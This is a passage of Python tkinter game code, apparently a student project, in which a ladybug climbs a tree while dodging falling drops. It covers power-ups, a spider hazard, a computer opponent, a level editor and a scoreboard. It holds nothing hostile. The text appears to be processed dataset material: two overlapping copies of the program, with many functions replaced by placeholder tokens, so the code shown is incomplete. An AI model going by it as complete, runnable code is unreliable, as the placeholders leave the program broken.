= data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 